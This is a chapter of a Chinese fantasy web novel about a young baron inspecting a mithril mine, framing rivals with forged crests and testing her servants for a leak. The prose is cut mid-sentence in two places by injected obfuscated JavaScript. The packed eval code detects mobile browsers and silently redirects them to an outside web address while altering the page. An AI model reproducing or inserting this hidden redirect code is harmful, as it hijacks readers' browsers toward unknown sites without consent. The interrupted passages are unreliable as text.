魔兽 特立特要发起战争,格林菲尔觉得震惊,又觉得对方还真的是能作妖。关于她父母的死亡,泽维尔虽说可能和魔族有关系,但是她不觉得人类这一边,尤其是她的舅舅他们没有参与到这件事当中来。一个种族想要毁灭另外一个种族,这很难,对于任何人来说都是如此,但若是一个种族为了自己的目的,想要利用其他种族来杀害自己种族的人的话,那么就非常简单了。 在这个力量和权利至上的世界,格林菲尔并不知道自己的父母死因是什么,却可以确认他们的死,和家族里的那些人脱不了干系。她和特立特是两种人,一旦有其他出路,她并不会在乎塔尔一族是不是能够延续,她是不是还能继续做这个领地的领主,因为——她知道不久以后,不管是什么家族,都会被牵扯进麻烦的事件中,到了那个时候什么平民什么贵族,都只是艾特维尔他们敌人的目标。 虽说艾特维尔如今站在她这一边,但是比起家族的地位,她更应该做的还是提高自身实力。因此,就算知道了特立特打算造反,她也并没有告知皇室的打算,先不说她目前维持的人设如何,她对皇室并没有任何感情。特立特能够嚣张到蚕食自己姐姐留下的一切,这都和皇室的助纣为虐有关,她没有直接将复仇的目标设为他们,她觉得自己已经很仁慈了。 而比尔他们。 年轻的骑士,正在吩咐自己的手下和同僚清理现场,并对他们说:“今天袭击者的事情不得和任何人说,这件事败露的话会让男爵大人被连累,不管敌人的目的是什么,我们都要保护好自己的主人。” 其他骑士:“是!” 可以说,去一个陌生的地方,守卫若是不是自己的心腹的话,那么随时可能面临着被害死的可能,属于典型的竖着出门横着回家了,虽然是很地狱的笑话,可是却是事实。 泽维尔站在格林菲尔的身边,观察着那些忙碌搬运着尸体的骑士:“你的眼光不错,这些人身手利落,做事情也足够机灵,可惜就是比起皇室那些骑士还是差了一点。” 格林菲尔垂眸:“资源的事情暂时没有办法,我能够提供的最好的老师,也就是比比尔高一级水平的骑士了。老师能够做到的只是带他们入门,真的要变强还是需要靠战斗来提高。” 话说到这里,她看着自己的手,嘟囔了一句:“我之所以没有办法继续变强,是不是也和没有去亲身历练有关?” 知道这个道理,但是并不代表能够解决什么,作为一个连正规魔法学院都还没有上过的人,她首先需要知道自己几斤几两,才有可能为了变强和突破瓶颈想到新的训练方式。 泽维尔没有听清她的话,侧目:“你说了什么?” 格林菲尔拍了拍自己的脸,站直了身体。 “不,我只是自言自语。” 金发男人瞄了眼女孩子,哦了一声就没有再出声。 在明知道有人对这个山洞里的矿产虎视眈眈,比尔就不可能让男爵落单,他让几个骑士在前面探路,他自己则是殿后。这种阵型,方便他们在遇到危险的时候随时都可以让自己的主人安全撤离,而不会有任何顾虑。 山洞里非常黑暗,需要用照明魔法,才能勉强看出来内部的情况。和格林菲尔记忆中乱糟糟的矿洞不同,这个以魔法矿石为主的山洞,里面非常的干净,就算是到处都是挖掘过的痕迹,也依然没有带起多少灰尘。 比尔是负责殿后的人,左右两边他都有仔细观察着,距离自己身前的男爵大人保持了几厘米,这个间距正好方便他随时够得着对方,但是又不会过于靠近失了礼数。 很快,他们就来到了一处宽阔明亮的区域。 格林菲尔看着充斥了视线的漂亮金属,露出了一点吃惊的表情:“这就是秘银矿?” 比尔打了个手势,让全员形成一个圈的包围圈,将黑发女孩子给护在中间。 在骑士们的保护下,格林菲尔来到了一处秘银矿前,发现上面已经有了明显的断层,随口问了句:“伯爵他们已经来这里开采过一次了?” 比尔边上的一个骑士拿出一个卷轴:“男爵大人,请稍后……哦有了。” 这人轻咳了一声,才开口道:“根据这些秘银矿上面的记录,之前代男爵带着几个皇室过来开采过几次,将这一带秘银矿都给开采完了……哎?可是这里明明还有很多。” 格林菲尔用着只有身边人能够听到声音道:“秘银矿是有生命的矿石?” “和其他矿石不同,秘银矿是魔兽的内脏。你之前也有看过记载吧?魔兽身体有魔石的这件事。” 听到泽维尔这么说,格林菲尔才想起来,她确实是在书籍中有看到过这份记录。只是和普通人了解了魔法矿石是什么后,就对其特别反感的人相比较,她倒是反而不怎么介意,毕竟她在原来世界特别喜欢吃黄喉和毛肚之类动物的内脏了。就是比起动物们,秘银矿明明是魔兽的内脏,却可以用来制作武器,这点倒是让她有点在意。 结合刚刚泽维尔所说的话来看,这个地方之所以会被人给盯上,也是因为经常有魔兽来这里,使得这里的秘银矿源源不断吧?不用打魔兽,只要负责开采,就可以赚个盆满钵满,使个人都想要都喜欢啊。 按了按太阳穴,格林菲尔问其他骑士要了一个斧头,拎起就往秘银矿那里而去。 骑士们见怪不怪,趁着女孩子走远的时候,悄声嘀咕:“我上一家侍奉的有钱人的小孩子,也是和男爵大人一样,想要自己来开采试试看,可是那可是需要力量的话,瘦弱的小孩子肯定不——” 后面的话都没来得及说完,就听到清脆的金属声想起,紧接着就是什么倒地的声音。 骑士们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399765|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同时望向有着巨大动静的地方,看着黑色长发的女孩子。 格林菲尔撩了撩因为剧烈动作而落在肩膀上的长发,低头看着被轻易砍下来的秘银矿,大声的问另外一边的骑士:“这样就可以拿回去锻造武器了吧?” 她此行只是来探探底,并没有真的打算就此投入到开采矿产当中去的意思,就算最后她会给自己留一成,也没有人说过她不可以在拍卖掉三成以前运走一部分吧? 拍卖三成的矿产开发权,这已经是板上钉钉的事情了,唯一的区别就是其他人暂时还不知道拍卖行这次的大头是什么,对于一个压轴但是不给人看商品又起拍价特别高的产品,感兴趣的人不在少数。正是知道有钱人怎么打发时间的,格林菲尔才让管家和女仆长同时进行了拍卖的事情,为的是将一部分情报透露出去,同时也有拿到证据的打算。 要让一个身边人露出马脚,最好的方式就是逼迫他主动送情报给其他人,可是一般来说重要的事情上面才解决了内鬼,本身就要付出很大的代价。虽说那几个年轻的孩子是她提拔的,可是她到底不能在没有证据的情况下就这么处理了两个宅邸内的核心人员,这不利于她以后在领地立威。 她在让两个人安排拍卖事情上面,还特意让他们错开了时间,甚至给到他们的东西都是不同的,只是两个人自己不知道这件事。 来到山洞进行了及时考察,又看到了秘银矿,还打包了一点,可以说格林菲尔此行的目的已经达成,并没有继续逗留的必要。可是一想到来的时候,那些人给她的惊喜,她觉得不能厚此薄彼,她也应该给对方留一点礼物,奖赏一下对方想要垄断市场的行为。 她准备的礼物,并不是很难找,只要将记忆中的纹章给翻出来,再以风和水魔法构筑,以土魔法来拼成,火魔法熔炼就可以搞定。格林菲尔觉得,这就和做工艺品一样,只是从泥土开始制作看起来比较难,实际上也就开头的时候塑型有点困难,之后就很容易了。 将在马车中模仿做好的纹章给到骑士他们,格林菲尔开口道:“这些,放到不太容易能够让人看见的地方。” 比尔微微一愣:“附近?” 格林菲尔笑了笑:“这个你自己决定,要隐秘,但是要让人能够看到的地方。” 年轻的骑士马上就明白了,男爵大人是打算借刀杀人,点了点头就和其他几个骑士找地方去了。 “奥斯维特和特立特他们狗咬狗的话,不知道会是怎样一番风景。” 泽维尔看着眼前这人,在极为短暂的时间里,用四元素的魔法捏造了一个纹章,不知道应该说她聪明还是愚笨,将魔法的力量用在这种事情上面,明明只要找一个炼金术师就能完成的事情。可就算是他也无法否认,反正格林菲尔不管是哪种,都足够让人发现她在魔法上的天赋有多么的惊人。 24. 误会 假证做了,纹章也留在了山洞附近,剩下的格林菲尔就不关心了。若只是耗费一点魔力,就能让特立特和奥斯维他狗咬狗,那就再好不过,若是他们并没有被这个假象给影响,她其实也没有什么损失,这点魔力只要吃一点东西就可以恢复,都不需要魔法药剂。 比尔和其他骑士经过了山洞口的偷袭,回程的路上是一点都不敢松懈,时刻警惕着四周,就怕一个不小心被可能出现的暗处的敌人给得逞。 格林菲尔靠在马车里的椅背上,阖着眼。 这段时间发生的事情太多了,特立特·塔尔的、奥斯维特的、皇室的、塞顿家的,一下子就像是扎堆了一样,一一出现在了她的身边,让她很难还有多余的精力再去找凶手的下落。 其实最初的时候,特立特反复拿她父母的事情去刺激她,或者说——试探?格林菲尔一直都觉得,她这个舅舅是猜到她想要复仇的,只是因为他确信自己的外甥女没有证据,也找不到更多的人证物证,对方又被他给拿捏在手里,便觉得大概最后歇了这点心思。 原本的话,格林菲尔这么想应该没错的,可是那个前提是她真的是个正常人的情况下。 泽维尔见她从刚刚开始就一直在思考,就没有打断了,只是他忽然感觉到对方的魔力一阵强烈的波动,就明白应该是发生了什么。在这个世界上,魔力的波动和一个人的情绪息息相关,一旦魔力波动有很大的转变,也就代表其主人的情绪也处于不稳定的状态下。 听到了男人的话,女孩子睁开眼,声音很轻:“我在想特立特这个人的行为逻辑。我十五岁以前都是对外界毫无知觉的,就算是知道了什么,也处于不明白发生了什么的状态下,比起会去考虑‘这个人为什么要这么做’,更多的应该是‘这是梦境’这样催眠自己。” 就算是现在的她,让她去翻寻记忆里过往的部分,能够看到的也就是一团雾蒙蒙的片段,连一个完整的画面都没,只是一个小孩子又是和木偶一样的状态,到底能够对那个男人造成什么麻烦? 这一点,令格林菲尔百思不得其解。 泽维尔沉吟:“可能他不清楚这点。这种事情你不说的话,你十五岁之前那个状态,放在其他人眼中就是装傻。他也许是真的不知道,也许是只想要确认你到底知道了多少。本来的话,觉得你之前什么都不知道有点可惜,不然的话凶手肯定很快就可以锁定,如今你舅舅对你的态度来看,只能说幸好那个时候你真的对外界一无所知,否则的话自保都成问题。” 对于人类,泽维尔其实不能算很了解,他偶尔会注视人类,但是并不会干预他们什么,毕竟就算是他本尊,也只是为了保护和战斗而生的,那么他的神使自然也是如此。 人类很复杂,他们的情感更是让他看不懂。 可即便如此,他也能够明白特立特不是什么好人,不只是他对自己外甥女出手这件事,让泽维尔觉得无法理解的,还是这个人为了自己的利益,将自己的儿女全部当货物一样交换出去,就是为了让他自己能够名正言顺的成为男爵。 格林菲尔:“也许真的是和你说的那样,他一开始就在怀疑我。” 就像泽维尔所说的那样,她现在也十分庆幸自己就算有了对外界的感知,也一直都在隐藏着真实的自己。什么会魔法,能够感知到什么,知道当年父母死因异常……这些她都没有暴露出来。 若是按照特立特后面对她的做法,她丝毫不好意她在离开旧宅以前就会死透,而对方会对外宣称她死在了强盗的手中之类的吧。 叹了口气,格林菲尔撩开了一点帘子,发现他们已经到了领地。 是了,这个山洞看起来距离领地很远,可是若是脚程快一点的话,也可以很快就回来。 抵达了宅邸,管家和女仆长同时迎了出来。 考虑到自己之前的操作,她对管家说:“你留下,女仆长跟着骑士们先下去,我等下会让人叫你。” 女仆长点了下头,就跟着比尔他们进了宅邸。 “男爵大人。” 管家清了清嗓子,“您吩咐的事情我已经办妥了,拍卖行那边给出了非常好的价格,还说很多贵族和皇室的都对这次的拍卖会感兴趣。我认为这次的拍卖,可以卖一个好价格。” 格林菲尔瞄了眼这个人,轻轻嗯了一声:“这件事你办好了,之后会有丰厚的奖励,你可以想想看想要怎样的赏赐。” 管家说没有想到,打算想到了再来讨要,她就没有强求了。 待管家离开以后,她拍了拍手,对外面的人说:“让女仆长进来。” 和对管家一样的流程。 差不多的话述,让人捉摸不透的态度,以及—— “你想要什么赏赐”的画大饼行为。 由于格林菲尔平时话不多,也不怎么强硬,就会给人话很少的错觉。至于为什么特立特男爵出事了以后,这位塔尔家的小姐转变一下子这么大,很多人自己已经脑补过了。 “无非就是家里的顶梁柱倒下了,小姐不得不接受了这样的事实,顽强的和自己的命运抗争。” 泽维尔记忆犹新。 在说这些话的时候,女孩子的脸上满是不屑,还有嘲弄。 你看,很多事情其实并不难,只要自己不要想太复杂,就连换了一个人一般这种事情,都能为人轻易的所接受。 “提到拍卖行,现在管家和女仆长还没有将情报透露,看起来他们是打算最后一天才出卖这个消息。哦,应该是说他(她)或者他们?很多事情不可能没有预兆,既然那些年轻仆从有听到什么,那么就说明这并不是什么捕风捉影的事情。” 处理一个管家和女仆长,本身并不是什么困难的事情,让格林菲尔为难的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411052|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是直接开除他们,很难令其他人信服她的做法。同其他领主不同,她真的是走在刀尖上,每一步都是极为艰难。 神殿的事情,虽说让她的处境有了很大的变化,但是已经做了的事情,就绝对没有放弃的理由。而且,留下一个毒瘤在领地里,就会有更多的人陷入危险。 一周后,拍卖行的事情越传越广,最后直接到了皇帝陛下的耳中。 “奥斯维特伯爵,陛下也要参加这次的拍卖,这可怎么办。” 得知皇帝当天要去拍卖行,特伦伯爵愁的头发都掉了一大把,他发量本来就不多,如今这么一担忧直接又少了很多。可他现在根本无暇顾及自己的头发多还是少,满脑子就是觉得这件事很荒谬。 “不就只是一个拍卖会?就算最后一件商品目前还没踪迹,也不至于因为它价格特别高就觉得一定很好吧?” 奥斯维特伯爵瞄了眼特伦伯爵,又缓慢的开口道:“距离拍卖会开始还有好几天,你大可不用现在就这么焦虑。再怎么说,你还有一段时间可以说服陛下放弃去拍卖会现场这件事,再不行也能在人员安排上面多下一点功夫。” 他虽然替皇室办事,但是并不关心皇室成员的死活,于他而言喜欢作死的人就让他去死好了,反正少了这些人世界也不是无法继续运作,多一个不多少一个不少。 作为一国的君主,若是连自己的安危都不放在心上,那么他们做部下的又有什么办法呢?总不能拿刀架在这位陛下脖子上,威胁他不准去吧?那根本不现实,既可笑又解决不了问题。 将手上的文件给放下,问起了另外一件事:“特立特·塔尔处理了吗?” 他这话一出,特伦下意识看了边上的骑士,却听到眼前的男人声音冷漠:“不用管他,他是我的死士,不可能背叛的。” 特伦伯爵露出了恍然大悟的神情,这才靠近了奥斯维特伯爵,小心翼翼的说:“不久前欧罗女士私下开采派出去的人,全部在一天之内毙命,现场留下了您的纹章,以及——塔尔的纹章。” 奥斯维特伯爵冷笑一声:“特立特这个混蛋胆子还真是大,居然敢如此戏弄我们。他以为我们不知道吗,他那个外甥女根本就不可能有这么做的理由,她的手上就几个实习骑士,根本没有什么战斗能力,她本人到底是有什么理由非要去矿场?这么明显的栽赃,也亏他用得出来。” 特伦伯爵轻声叹气:“谁说不是呢,特立特伯爵这个做法太不聪明了,这样不仅暴露了自己的下落,还给自己招惹了很多麻烦。” 奥斯维特手指抵着下巴,声音冰冷:“既然他如此不识时务,我们也不需要给他留颜面,直接找个地方将他处理了就是了。原本的话,还想给他一个体面的死法,现在看起来没有这个必要了。” 他们当然相信利益至上的同僚,可是有些秘密还是死人知道比较保险。